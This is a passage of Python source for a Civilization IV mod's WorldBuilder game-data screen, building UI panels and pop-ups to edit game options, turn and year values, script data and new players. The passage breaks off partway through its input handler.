+{"seq_id":"452051813","text":"from CvPythonExtensions import *\nimport HandleInputUtil\n\niSelectedCiv = -1\niSelectedLeader = -1\n\nclass WBGameDataScreen:\n\n\tdef __init__(self, WB):\n\t\tself.WB = WB\n\t\tglobal gameDataWB\n\t\tgameDataWB = self\n\t\tself.iNewPlayer_Y = 80\n\t\tself.bHiddenOption = False\n\n\tdef interfaceScreen(self):\n\t\tself.GC = GC = CyGlobalContext()\n\t\tself.GAME = GAME = GC.getGame()\n\t\tself.TRNSLTR = TRNSLTR = CyTranslator()\n\n\t\timport InputData\n\t\tself.InputData = InputData.instance\n\n\t\t# setup pupup handler\n\t\timport CvEventInterface\n\t\tself.eventMng = CvEventInterface.getEventManager()\n\t\tself.eventMng.Events[9998] = ('PullDown', self.applyPullDownData)\n\t\tself.eventMng.Events[9999] = ('SpinBox', self.applySpinBoxData)\n\n\t\tself.xRes = xRes = self.WB.xRes\n\t\tself.yRes = yRes = self.WB.yRes\n\t\txMid = xRes/2\n\t\tself.iFontScale = self.WB.iFontScale\n\t\tself.aFontList = self.WB.aFontList\n\t\tscaledFont3 = self.aFontList[3]\n\t\tscaledFont3b = self.aFontList[2]\n\t\tfont4b = \"\"\n\n\t\teWidGen = WidgetTypes.WIDGET_GENERAL\n\t\teFontGame = FontTypes.GAME_FONT\n\n\t\tself.szColorNay = \"\"\n\t\tself.szColorYay = \"\"\n\t\tself.szHidden = \" \" + TRNSLTR.getText(\"TXT_KEY_WB_HIDDEN\", ())\n\t\tself.szDefault = TRNSLTR.getText(\"TXT_WORD_DEFAULT\", ())\n\t\tself.szOk = TRNSLTR.getText(\"TXT_KEY_MAIN_MENU_OK\", ())\n\t\tself.szCancel = TRNSLTR.getText(\"TXT_KEY_POPUP_CANCEL\", ())\n\t\tself.bInEditBox = False\n\n\t\tscreen = self.WB.getScreen()\n\t\tscreen.setRenderInterfaceOnly(True)\n\t\tscreen.setForcedRedraw(False)\n\t\tscreen.showScreen(PopupStates.POPUPSTATE_IMMEDIATE, False)\n\n\t\tBG = \"SubScreenBG\"\n\t\tscreen.addPanel(BG, \"\", \"\", False, False, -10, -10, xRes + 20, yRes + 20, PanelStyles.PANEL_STYLE_MAIN)\n\t\tscreen.addPanel(\"topBar\", \"\", \"\", True, False, 0, 0, xRes, 40, PanelStyles.PANEL_STYLE_TOPBAR)\n\t\tbotBar = \"botBar\"\n\t\tscreen.addPanel(botBar, \"\", \"\", True, False, 0, yRes - 44, xRes, 44, PanelStyles.PANEL_STYLE_BOTTOMBAR)\n\t\tself.aWidgetBucket = [BG]\n\t\tself.aWidgetBucket.append(\"topBar\")\n\t\tself.aWidgetBucket.append(botBar)\n\n\t\tscreen.setText(\"ExitSubScreen\", \"\", font4b + TRNSLTR.getText(\"TXT_WORD_EXIT\", ()), 1<<1, xRes - 16, 0, 0, eFontGame, eWidGen, 1, 2)\n\t\tself.aWidgetBucket.append(\"ExitSubScreen\")\n\n\t\twDDB = 256\n\t\tDDB = \"CurrentPage\"\n\t\tself.aWidgetBucket.append(DDB)\n\t\tscreen.addDropDownBoxGFC(DDB, xMid - wDDB/2, -1, wDDB, eWidGen, 1, 2, eFontGame)\n\t\tscreen.addPullDownString(DDB, TRNSLTR.getText(\"TXT_KEY_PEDIA_CATEGORY_RELIGION\", ()), 8, 8, False)\n\t\tscreen.addPullDownString(DDB, TRNSLTR.getText(\"TXT_KEY_CONCEPT_CORPORATIONS\", ()), 9, 9, False)\n\t\tscreen.addPullDownString(DDB, TRNSLTR.getText(\"TXT_KEY_PITBOSS_GAME_OPTIONS\", ()), 10, 10, True)\n\t\tscreen.addPullDownString(DDB, TRNSLTR.getText(\"TXT_KEY_INFO_SCREEN\", ()), 11, 11, False)\n\n\t\t#--------------#\n\t\t# Game Options #\n\t\t#--------------#\n\t\tself.szHiddenOptions = scaledFont3b + TRNSLTR.getText(\"TXT_KEY_WB_SHOW_HIDDEN\",())\n\t\tszTxt = self.getHiddenOptionsBtnText()\n\t\tscreen.setTextAt(\"HiddenOptions\", BG, szTxt, 1<<0, 28, 52, 0, eFontGame, eWidGen, 1, 2)\n\n\t\txPnl = self.placeGameOptions(screen)\n\t\tself.aWidgetBucket.append(\"GameOptionsBG\")\n\t\tself.aWidgetBucket.append(\"GameOptions\")\n\n\t\t#----------------#\n\t\t# Game variables #\n\t\t#----------------#\n\t\tyPnl = 72\n\t\thPnl = yRes - yPnl - 50\n\t\twPnl = xRes/6 + 128\n\n\t\tvaluePnlBG = \"valuePanelBG\"\n\t\tself.aWidgetBucket.append(valuePnlBG)\n\t\tscreen.addPanel(valuePnlBG, \"\", \"\", True, True, xPnl, yPnl, wPnl, hPnl, PanelStyles.PANEL_STYLE_IN)\n\n\t\tvalueScrlPnl = \"valueScrlPnl\"\n\t\tself.aWidgetBucket.append(valueScrlPnl)\n\t\tscreen.addScrollPanel(valueScrlPnl, \"\", xPnl-4, yPnl-4, wPnl + 4, hPnl - 22, PanelStyles.PANEL_STYLE_MAIN)\n\t\tscreen.setStyle(valueScrlPnl, \"ScrollPanel_Alt_Style\")\n\n\t\tx = 3\n\t\ty = 0\n\t\tdy = 22 + 3 * self.iFontScale\n\t\tself.szStartYear = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_START_YEAR\", ()) + ': '\n\t\tiYear = GAME.getStartYear()\n\t\tif iYear < 0:\n\t\t\tszTxt += str(-iYear) + \" BC\"\n\t\telse: szTxt += str(iYear) + \" AD\"\n\n\t\tscreen.setTextAt(\"SpinBox|Date|StartYear\", valueScrlPnl, szTxt, 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tiYear = GAME.getGameTurnYear()\n\t\tif iYear < 0:\n\t\t\tsYear = str(-iYear) + \" BC\"\n\t\telse: sYear = str(iYear) + \" AD\"\n\n\t\tself.szGameTurnYear = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_GAME_YEAR\", (\"%s\",))\n\t\tscreen.setLabelAt(\"GameTurnYear\", valueScrlPnl, szTxt % sYear, 1<<0, x+2, y+2, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szGameTurn = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_GAME_TURN\", ())\n\t\tscreen.setTextAt(\"SpinBox|Date|GameTurn\", valueScrlPnl, szTxt + str(GAME.getGameTurn()), 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szMaxTurns = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_MAX_TURNS\", ())\n\t\tscreen.setTextAt(\"SpinBox|Date|MaxTurns\", valueScrlPnl, szTxt + str(GAME.getMaxTurns()), 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szEstimateEndTurn = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_ESTIMATED_END_TURN\", (\"%d\",))\n\t\tscreen.setLabelAt(\"EstimateEndTurn\", valueScrlPnl, szTxt % GAME.getEstimateEndTurn(), 1<<0, x+2, y+2, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szMaxCityElimination = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_MAX_CITY_ELIMINATION\", ())\n\t\tscreen.setTextAt(\"SpinBox|MaxCityElimination\", valueScrlPnl, szTxt + str(GAME.getMaxCityElimination()), 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szTargetScore = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_TARGET_SCORE\", ())\n\t\tscreen.setTextAt(\"SpinBox|TargetScore\", valueScrlPnl, szTxt + str(GAME.getTargetScore()), 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szNukesExploded = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_NUKES_EXPLODED\", ())\n\t\tscreen.setTextAt(\"SpinBox|NukesExploded\", valueScrlPnl, szTxt + str(GAME.getNukesExploded()), 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szTradeRoutes = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_HEADING_TRADEROUTE_LIST\", ()) + \": \"\n\t\tscreen.setTextAt(\"SpinBox|TradeRoutes\", valueScrlPnl, szTxt + str(GAME.getTradeRoutes()), 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += dy\n\t\tself.szCircumnavigatedGlobe = szTxt = scaledFont3 + TRNSLTR.getText(\"TXT_KEY_WB_CIRCUMNAVIGATED_GLOBE\", ())\n\t\tiTeam = GAME.getCircumnavigatedTeam()\n\t\tszTxt += str(iTeam)\n\t\tif iTeam > -1:\n\t\t\tszTxt += \" (%s)\" % GC.getTeam(iTeam).getName()\n\t\tscreen.setTextAt(\"PullDown|CircumnavigatedGlobe\", valueScrlPnl, szTxt, 1<<0, x, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\t#--------------------#\n\t\t# New Player Section #\n\t\t#--------------------#\n\t\tself.placeNewPlayer(screen)\n\t\tself.aWidgetBucket.append(\"AllowsRepeat\")\n\t\tself.aWidgetBucket.append(\"WBNewCiv\")\n\t\tself.aWidgetBucket.append(\"WBNewLeader\")\n\t\tself.aWidgetBucket.append(\"CreatePlayer\")\n\t\tself.aWidgetBucket.append(\"NewPlayerHeader\")\n\n\t\t#-------------#\n\t\t# Script Data #\n\t\t#-------------#\n\t\tself.szScriptDataBtn = szTxt = font4b + TRNSLTR.getText(\"TXT_KEY_WB_SCRIPT_DATA\", ())\n\t\tscreen.setTextAt(\"ScriptData|Btn\", botBar, szTxt, 1<<0, 16, 8, 0, eFontGame, eWidGen, 1, 2)\n\n\t\tNAME = \"ScriptEditHeader\"\n\t\tscreen.setLabel(NAME, \"\", szTxt, 1<<2, xMid, 8, 0, eFontGame, eWidGen, 1, 2)\n\t\tscreen.hide(NAME)\n\t\tself.aWidgetBucket.append(NAME)\n\n\t\tNAME = \"ScriptEditBG\"\n\t\tscreen.addPanel(NAME, \"\", \"\", False, False, -10, -10, xRes + 20, self.yRes + 20, PanelStyles.PANEL_STYLE_MAIN)\n\t\tself.aWidgetBucket.append(NAME)\n\t\tscreen.hide(NAME)\n\n\t\tNAME = \"ScriptEditBox\"\n\t\tself.aWidgetBucket.append(NAME)\n\t\tscreen.addEditBoxGFC(NAME, 24, 40, xRes - 48, yRes - 80, eWidGen, 1, 2, eFontGame)\n\t\tscreen.setStyle(NAME, \"GFC_Control_MultilineEdit_Style\")\n\t\tscreen.setActivation(NAME, ActivationTypes.ACTIVATE_NORMAL)\n\t\tscreen.setEditBoxMaxCharCount(NAME, 10000000, 32)\n\t\tself.szScriptData = GAME.getScriptData()\n\t\tscreen.hide(NAME)\n\n\t\ty = yRes-36\n\t\tscreen.setText(\"ScriptData|Ok0\", \"\", font4b + self.szOk, 1<<1, xMid - 32, y, 0, eFontGame, eWidGen, 1, 2)\n\t\tscreen.setText(\"ScriptData|Cancel0\", \"\", font4b + self.szCancel, 1<<0, xMid + 32, y, 0, eFontGame, eWidGen, 1, 2)\n\t\tself.aWidgetBucket.append(\"ScriptData|Ok0\")\n\t\tself.aWidgetBucket.append(\"ScriptData|Cancel0\")\n\t\tscreen.hide(\"ScriptData|Ok0\")\n\t\tscreen.hide(\"ScriptData|Cancel0\")\n\n\n\tdef placeGameOptions(self, screen):\n\t\txRes = self.xRes\n\t\tyRes = self.yRes\n\t\tscaledFont3 = self.aFontList[3]\n\t\tszColorNay = self.szColorNay\n\t\tszColorYay = self.szColorYay\n\n\t\teWidGen = WidgetTypes.WIDGET_GENERAL\n\t\teFontGame = FontTypes.GAME_FONT\n\t\tePanelBlack\t= PanelStyles.PANEL_STYLE_MAIN_BLACK25\n\n\t\tbHiddenOption = self.bHiddenOption\n\t\tif bHiddenOption:\n\t\t\tszHidden = self.szHidden\n\n\t\tyPnl = 72\n\t\thPnl = yRes - yPnl - 50\n\t\twPnl = xRes/6 + 140\n\t\txPnl = 14\n\t\tscreen.addPanel(\"GameOptionsBG\", \"\", \"\", True, True, xPnl, yPnl, wPnl, hPnl, PanelStyles.PANEL_STYLE_IN)\n\n\t\tw = wPnl - 16\n\t\tScPnl = \"GameOptions\"\n\t\tscreen.addScrollPanel(ScPnl, \"\", 8, 66, w + 26, yRes - 142, PanelStyles.PANEL_STYLE_MAIN)\n\t\tscreen.setStyle(ScPnl, \"ScrollPanel_Alt_Style\")\n\n\t\tTXT = \"GameOption%d\"\n\t\tCELL_0 = \"cell%d\"\n\t\tdy = 24 + 3 * self.iFontScale\n\t\th1 = dy + 6\n\t\th2 = dy + 2\n\t\ty = -2\n\t\tiRow = 0\n\t\tfor iOption in xrange(self.GC.getNumGameOptionInfos()):\n\t\t\tinfo = self.GC.getGameOptionInfo(iOption)\n\t\t\tif bHiddenOption or info.getVisible():\n\n\t\t\t\tCELL = CELL_0 % iOption\n\t\t\t\tif iRow % 2:\n\t\t\t\t\tscreen.attachPanelAt(ScPnl, CELL, \"\", \"\", True, False, ePanelBlack, 0, y, w, h2, eWidGen, 999, iOption)\n\t\t\t\t\tscreen.setStyle(CELL, \"Panel_Tan15_Style\")\n\t\t\t\telse:\n\t\t\t\t\tscreen.attachPanelAt(ScPnl, CELL, \"\", \"\", True, False, ePanelBlack, 0, y-4, w, h1, eWidGen, 999, iOption)\n\n\t\t\t\tif self.GAME.isOption(iOption):\n\t\t\t\t\tszTxt = szColorYay\n\t\t\t\telse: szTxt = szColorNay\n\n\t\t\t\tszTxt += scaledFont3 + info.getDescription()\n\t\t\t\tif not info.getVisible():\n\t\t\t\t\tszTxt += szHidden\n\n\t\t\t\tscreen.setTextAt(TXT % iOption, CELL, szTxt, 1<<0, 4, 0, 0, eFontGame, eWidGen, 1, 2)\n\t\t\t\ty += dy\n\t\t\t\tiRow += 1\n\t\treturn 2 * xPnl + wPnl\n\n\n\tdef placeNewPlayer(self, screen):\n\t\tif self.GAME.countCivPlayersEverAlive() == self.GC.getMAX_PC_PLAYERS():\n\t\t\treturn\n\t\tGAME = self.GAME\n\t\tbLeadAnyCiv = GAME.isOption(GameOptionTypes.GAMEOPTION_LEAD_ANY_CIV)\n\t\tszColorNay = self.szColorNay\n\t\tszColorYay = self.szColorYay\n\n\t\tsHeaderText = self.TRNSLTR.getText(\"TXT_KEY_WB_ADD_NEW_PLAYER\",())\n\n\t\tiWidth = self.xRes/2 - 40\n\t\tiHeight = (self.yRes/2 - self.iNewPlayer_Y - 10) /48 * 24 + 2\n\t\tnColumns = 3\n\t\tscreen.addTableControlGFC(\"WBNewCiv\", nColumns, self.xRes/2 + 20, self.iNewPlayer_Y, iWidth, iHeight, False, False, 24, 24, TableStyles.TABLE_STYLE_STANDARD)\n\t\tfor i in xrange(nColumns):\n\t\t\tscreen.setTableColumnHeader(\"WBNewCiv\", i, \"\", iWidth/nColumns)\n\n\t\taList = []\n\t\tfor item in xrange(self.GC.getNumCivilizationInfos()):\n\t\t\tInfo = self.GC.getCivilizationInfo(item)\n\t\t\tif Info.isAIPlayable():\n\t\t\t\taList.append([Info.getShortDescription(0), item])\n\t\taList.sort()\n\t\tiNumRows = (len(aList) + nColumns - 1) / nColumns\n\t\tfor i in xrange(iNumRows):\n\t\t\tscreen.appendTableRow(\"WBNewCiv\")\n\n\t\tfor i in xrange(len(aList)):\n\t\t\titem = aList[i][1]\n\t\t\tInfo = self.GC.getCivilizationInfo(item)\n\t\t\tiColumn = i / iNumRows\n\t\t\tiRow = i % iNumRows\n\t\t\tif iSelectedCiv == item:\n\t\t\t\tsColor = szColorYay\n\t\t\telse: sColor = szColorNay\n\t\t\tsText = \"\" + sColor + aList[i][0] + \" \"\n\t\t\tscreen.setTableText(\"WBNewCiv\", iColumn, iRow, sText, Info.getButton(), WidgetTypes.WIDGET_PYTHON, 7872, item, 1<<0)\n\n\t\tiY = self.iNewPlayer_Y + iHeight + 10\n\t\tif iSelectedCiv > -1:\n\t\t\tciv = self.GC.getCivilizationInfo(iSelectedCiv)\n\t\t\tsHeaderText = civ.getShortDescription(0)\n\t\t\tscreen.addTableControlGFC(\"WBNewLeader\", nColumns, self.xRes/2 + 20, iY, iWidth, iHeight, False, False, 24, 24, TableStyles.TABLE_STYLE_STANDARD )\n\t\t\tfor i in xrange(nColumns):\n\t\t\t\tscreen.setTableColumnHeader(\"WBNewLeader\", i, \"\", iWidth/nColumns)\n\n\t\t\taList = []\n\t\t\tfor i in xrange(self.GC.getNumLeaderHeadInfos()):\n\t\t\t\tif GAME.isLeaderEverActive(i):\n\t\t\t\t\tcontinue\n\t\t\t\tInfo = self.GC.getLeaderHeadInfo(i)\n\t\t\t\tif bLeadAnyCiv or civ.isLeaders(i):\n\t\t\t\t\taList.append([Info.getDescription(), i])\n\t\t\taList.sort()\n\t\t\tiNumRows = (len(aList) + nColumns - 1) / nColumns\n\t\t\tfor i in xrange(iNumRows):\n\t\t\t\tscreen.appendTableRow(\"WBNewLeader\")\n\n\t\t\tfor i in xrange(len(aList)):\n\t\t\t\titem = aList[i][1]\n\t\t\t\tInfo = self.GC.getLeaderHeadInfo(item)\n\t\t\t\tiColumn = i / iNumRows\n\t\t\t\tiRow = i % iNumRows\n\t\t\t\tsColor = self.TRNSLTR.getText(\"[COLOR_WARNING_TEXT]\", ())\n\t\t\t\tif iSelectedLeader == item:\n\t\t\t\t\tsColor = self.TRNSLTR.getText(\"[COLOR_POSITIVE_TEXT]\", ())\n\t\t\t\tsText = \"\" + sColor + aList[i][0] + \" \"\n\t\t\t\tscreen.setTableText(\"WBNewLeader\", iColumn, iRow, sText, Info.getButton(), WidgetTypes.WIDGET_PYTHON, 7876, item, 1<<0)\n\t\t\tif iSelectedLeader > -1:\n\t\t\t\tsHeaderText += \", \" + self.GC.getLeaderHeadInfo(iSelectedLeader).getDescription()\n\t\t\t\tsText = self.TRNSLTR.getText(\"[COLOR_SELECTED_TEXT]\", ()) + \"\" + self.TRNSLTR.getText(\"TXT_KEY_MAIN_MENU_LOADSAVE_CREATE\", ()) + \" \"\n\t\t\t\tscreen.setText(\"CreatePlayer\", \"\", sText, 1<<1, self.xRes - 16, 52, 0, FontTypes.TITLE_FONT, WidgetTypes.WIDGET_GENERAL, 1, 2)\n\t\tscreen.setLabel(\"NewPlayerHeader\", \"\", \"\" + sHeaderText + \" \", 1<<2, self.xRes *3/4, self.iNewPlayer_Y - 30, -0.1, FontTypes.TITLE_FONT, WidgetTypes.WIDGET_GENERAL, -1, -1)\n\n\n\tdef checkOptions(self, screen, iGameOption):\n\t\tif iGameOption == GameOptionTypes.GAMEOPTION_LEAD_ANY_CIV:\n\t\t\tglobal iSelectedCiv, iSelectedLeader\n\t\t\tiSelectedCiv = -1\n\t\t\tiSelectedLeader = -1\n\t\t\tself.placeNewPlayer(screen)\n\t\telif iGameOption == GameOptionTypes.GAMEOPTION_NO_GOODY_HUTS and self.GAME.isOption(iGameOption):\n\t\t\tCyMapGenerator().eraseGoodies()\n\t\telif iGameOption == GameOptionTypes.GAMEOPTION_NO_VASSAL_STATES and self.GAME.isOption(iGameOption):\n\t\t\tfor iTeamX in xrange(self.GC.getMAX_PC_TEAMS()):\n\t\t\t\tpTeamX = self.GC.getTeam(iTeamX)\n\t\t\t\tfor iTeamY in xrange(self.GC.getMAX_PC_TEAMS()):\n\t\t\t\t\tpTeamX.freeVassal(iTeamY)\n\t\telif iGameOption == GameOptionTypes.GAMEOPTION_ONE_CITY_CHALLENGE and self.GAME.isOption(iGameOption):\n\t\t\tfor iPlayerX in xrange(self.GC.getMAX_PC_PLAYERS()):\n\t\t\t\tpPlayerX = self.GC.getPlayer(iPlayerX)\n\t\t\t\tif pPlayerX.isHuman():\n\t\t\t\t\tfor cityX in pPlayerX.cities():\n\t\t\t\t\t\tif not cityX.isCapital():\n\t\t\t\t\t\t\tcityX.kill()\n\t\telif iGameOption == GameOptionTypes.GAMEOPTION_NO_BARBARIANS and self.GAME.isOption(iGameOption):\n\t\t\tpPlayerBarb = self.GC.getPlayer(self.GC.getBARBARIAN_PLAYER())\n\t\t\tpPlayerBarb.killCities()\n\t\t\tpPlayerBarb.killUnits()\n\n\tdef getHiddenOptionsBtnText(self):\n\t\tif self.bHiddenOption:\n\t\t\tszColor = self.szColorYay\n\t\telse: szColor = self.szColorNay\n\n\t\treturn szColor + self.szHiddenOptions\n\n\n\t# # # # # # # #\n\t# Pop-Up handler\n\tdef initSpinBox(self, ID, iDefault, iIncrement, iMax, iMin, szTxt):\n\n\t\tw = CyInterface().determineWidth(szTxt) + 32; h = 140\n\t\tif w < 160:\n\t\t\tw = 160\n\t\tx = self.xRes/2 - w/2 - 16\n\t\ty = self.yRes/2 - h/2 - 16\n\n\t\tpopup = CyPopup(9999, EventContextTypes.EVENTCONTEXT_SELF, True)\n\t\tpopup.setUserData((ID, iDefault, None))\n\t\tpopup.setSize(w, h)\n\t\tpopup.setPosition(x, y)\n\t\tpopup.setHeaderString(szTxt, 1<<0)\n\t\tpopup.createSpinBox(0, \"\", iDefault, iIncrement, iMax, iMin)\n\t\tpopup.addButton(self.szOk)\n\t\tpopup.addButton(self.szCancel)\n\t\tpopup.launch(False, PopupStates.POPUPSTATE_IMMEDIATE)\n\n\tdef applySpinBoxData(self, iPlayer, userData, popupReturn=None):\n\t\tif popupReturn:\n\t\t\tif popupReturn.getButtonClicked() == 1:\n\t\t\t\treturn\n\t\t\tiValue = popupReturn.getSpinnerWidgetValue(0)\n\t\t\tif iValue == userData[1]:\n\t\t\t\treturn\n\t\telse: iValue = userData[1]\n\n\t\tscreen = self.WB.getScreen()\n\t\tTYPE, CASE, NAME = userData[0]\n\n\t\tif TYPE == \"Date\":\n\n\t\t\tif CASE[0] == \"StartYear\":\n\t\t\t\tself.GAME.setStartYear(iValue)\n\t\t\t\tif iValue < 0:\n\t\t\t\t\tszTxt = self.szStartYear + str(-iValue) + \" BC\"\n\t\t\t\telse: szTxt = self.szStartYear + str(iValue) + \" AD\"\n\n\t\t\telse:\n\t\t\t\tif CASE[0] == \"GameTurn\":\n\t\t\t\t\tself.GAME.setGameTurn(iValue)\n\t\t\t\t\tszTxt = self.szGameTurn + str(iValue)\n\t\t\t\t\tiGameTurn = iValue\n\t\t\t\t\tiMaxTurns = self.GAME.getMaxTurns()\n\n\t\t\t\telif CASE[0] == \"MaxTurns\":\n\t\t\t\t\tself.GAME.setMaxTurns(iValue)\n\t\t\t\t\tszTxt = self.szMaxTurns + str(iValue)\n\t\t\t\t\tiMaxTurns = iValue\n\t\t\t\t\tif iMaxTurns:\n\t\t\t\t\t\tiGameTurn = self.GAME.getGameTurn()\n\n\t\t\t\tif iMaxTurns:\n\t\t\t\t\tiEstimateEndTurn = iGameTurn + iMaxTurns\n\t\t\t\t\tself.GAME.setEstimateEndTurn(iGameTurn + iMaxTurns)\n\t\t\t\telse:\n\t\t\t\t\tiEstimateEndTurn = 0\n\t\t\t\t\tgameSpeed = self.GC.getGameSpeedInfo(self.GAME.getGameSpeedType())\n\n\t\t\t\t\tfor i in xrange(gameSpeed.getNumTurnIncrements()):\n\t\t\t\t\t\tiEstimateEndTurn += gameSpeed.getGameTurnInfo(i).iNumGameTurnsPerIncrement\n\n\t\t\t\t\tself.GAME.setEstimateEndTurn(iEstimateEndTurn)\n\n\t\t\t\tscreen.hide(\"EstimateEndTurn\")\n\t\t\t\tscreen.modifyLabel(\"EstimateEndTurn\", self.szEstimateEndTurn % iEstimateEndTurn, 1<<0)\n\t\t\t\tscreen.show(\"EstimateEndTurn\")\n\n\t\t\tif CASE[0] != \"MaxTurns\":\n\n\t\t\t\tiYear = self.GAME.getGameTurnYear()\n\t\t\t\tif iYear < 0:\n\t\t\t\t\tsYear = str(-iYear) + \" BC\"\n\t\t\t\telse: sYear = str(iYear) + \" AD\"\n\t\t\t\tscreen.hide(\"GameTurnYear\")\n\t\t\t\tscreen.modifyLabel(\"GameTurnYear\", self.szGameTurnYear % sYear, 1<<0)\n\t\t\t\tscreen.show(\"GameTurnYear\")\n\n\t\telif TYPE == \"MaxCityElimination\":\n\t\t\tself.GAME.setMaxCityElimination(iValue)\n\t\t\tszTxt = self.szMaxCityElimination + str(iValue)\n\n\t\telif TYPE == \"TargetScore\":\n\t\t\tself.GAME.setTargetScore(iValue)\n\t\t\tszTxt = self.szTargetScore + str(iValue)\n\n\t\telif TYPE == \"NukesExploded\":\n\t\t\tif userData[-1] is None:\n\t\t\t\tiChange = iValue - userData[1]\n\t\t\telse:\n\t\t\t\tiChange = userData[2]\n\t\t\tself.GAME.changeNukesExploded(iChange)\n\t\t\tszTxt = self.szNukesExploded + str(iValue)\n\n\t\telif TYPE == \"TradeRoutes\":\n\t\t\tif userData[-1] is None:\n\t\t\t\tiChange = iValue - userData[1]\n\t\t\telse:\n\t\t\t\tiChange = userData[2]\n\t\t\tself.GAME.changeTradeRoutes(iChange)\n\t\t\tszTxt = self.szTradeRoutes + str(iValue)\n\n\t\tscreen.hide(NAME)\n\t\tscreen.modifyString(NAME, szTxt, 1<<0)\n\t\tscreen.show(NAME)\n\n\n\tdef initPullDown(self, ID, iDefault, szTxt):\n\n\t\tw = CyInterface().determineWidth(szTxt) + 32; h = 140\n\t\tif w < 160:\n\t\t\tw = 160\n\t\tx = self.xRes/2 - w/2 - 16\n\t\ty = self.yRes/2 - h/2 - 16\n\n\t\tpopup = CyPopup(9998, EventContextTypes.EVENTCONTEXT_SELF, False)\n\t\tpopup.setUserData((ID, iDefault, szTxt))\n\t\tpopup.setSize(w, h)\n\t\tpopup.setPosition(x, y)\n\t\tpopup.setHeaderString(szTxt, 1<<0)\n\t\tpopup.createPullDown(0)\n\n\t\tif ID[0] == \"CircumnavigatedGlobe\":\n\t\t\tfor i in xrange(-1, self.GC.getMAX_PC_TEAMS()):\n\t\t\t\tname = \"\"\n\t\t\t\tif i > -1:\n\t\t\t\t\tname = self.GC.getTeam(i).getName()\n\t\t\t\t\tif name:\n\t\t\t\t\t\tname = \" - \" + name\n\t\t\t\tpopup.addPullDownString(str(i) + name, i, 0)\n\n\t\t\tpopup.setSelectedPulldownID(iDefault, 0)\n\n\t\tpopup.addButton(self.szOk)\n\t\tpopup.addButton(self.szCancel)\n\t\tpopup.launch(False, PopupStates.POPUPSTATE_IMMEDIATE)\n\n\tdef applyPullDownData(self, iPlayer, userData, popupReturn):\n\t\tif popupReturn.getButtonClicked() == 1:\n\t\t\treturn\n\t\tiValue = popupReturn.getSelectedPullDownValue(0)\n\t\tif iValue == userData[1]:\n\t\t\treturn\n\t\tscreen = self.WB.getScreen()\n\t\tTYPE, CASE, NAME = userData[0]\n\t\tif TYPE == \"CircumnavigatedGlobe\":\n\t\t\tself.GAME.setCircumnavigatedTeam(iValue)\n\t\t\tszTxt = userData[2] + str(iValue)\n\t\t\tif iValue > -1:\n\t\t\t\tszTxt += \" (%s)\" % self.GC.getTeam(iValue).getName()\n\n\t\tscreen.hide(NAME)\n\t\tscreen.modifyString(NAME, szTxt, 1<<0)\n\t\tscreen.show(NAME)\n\n\n\tdef initEditBox(self, screen):\n\t\tscreen.setEditBoxString(\"ScriptEditBox\", self.szScriptData)\n\t\tscreen.moveToFront(\"ScriptEditBG\")\n\t\tscreen.moveToFront(\"ScriptEditBox\")\n\t\tscreen.moveToFront(\"ScriptEditHeader\")\n\t\tscreen.moveToFront(\"ScriptData|Ok0\")\n\t\tscreen.moveToFront(\"ScriptData|Cancel0\")\n\t\tscreen.show(\"ScriptEditBG\")\n\t\tscreen.show(\"ScriptEditBox\")\n\t\tscreen.show(\"ScriptEditHeader\")\n\t\tscreen.show(\"ScriptData|Ok0\")\n\t\tscreen.show(\"ScriptData|Cancel0\")\n\t\tself.bInEditBox = True\n\n\tdef closeEditBox(self, screen, bOk):\n\t\tif bOk:\n\t\t\tself.szScriptData = screen.getEditBoxString(\"ScriptEditBox\")\n\t\t\timport TextUtil\n\t\t\tself.GAME.setScriptData(TextUtil.convertToStr(self.szScriptData))\n\t\tscreen.hide(\"ScriptEditBG\")\n\t\tscreen.hide(\"ScriptEditBox\")\n\t\tscreen.hide(\"ScriptEditHeader\")\n\t\tscreen.hide(\"ScriptData|Ok0\")\n\t\tscreen.hide(\"ScriptData|Cancel0\")\n\t\tself.bInEditBox = False\n\n\t# # # # # # #\n\t# Interaction\n\tdef handleInput(self, inputClass, screen):\n\n\t\tHandleInputUtil.debugInput(inputClass)\n\t\tbAlt, bCtrl, bShift = self.InputData.getModifierKeys()\n\t\tiCode\t= inputClass.eNotifyCode\n\t\tiData\t= inputClass.iData\n\t\tID\t\t= inputClass.iItemID\n\t\tNAME\t= inputClass.szFunctionName\n\t\tszFlag\t= HandleInputUtil.MOUSE_FLAGS.get(inputClass.uiFlags, \"UNKNOWN\")\n\n\t\tif iCode == 6: # Character\n\t\t\tif iData == 1:\n\t\t\t\tif self.bInEditBox:\n\t\t\t\t\tself.closeEditBox(screen, False)\n\t\t\t\telse:\n\t\t\t\t\tself.exit(screen)\n\t\t\t\treturn 1\n\t\t\treturn 0\n\t\telif iCode in (16, 17):\n\t\t\treturn 0\n\n\t\tszSplit = NAME.split(\"|\")\n\t\tBASE = szSplit[0]\n\t\tif szSplit[1:]:\n\t\t\tTYPE = szSplit[1]\n\t\telse:\n\t\t\tTYPE = \"\"\n\t\tif szSplit[2:]:\n\t\t\tCASE = szSplit[2:]\n\t\telse:\n\t\t\tCASE = [\"\"]\n\n\t\tif iCode == 4: # Mouse Enter\n\n\t\t\tif NAME == \"GameOption\":\n\t\t\t\tself.WB.tooltip.handle(screen, 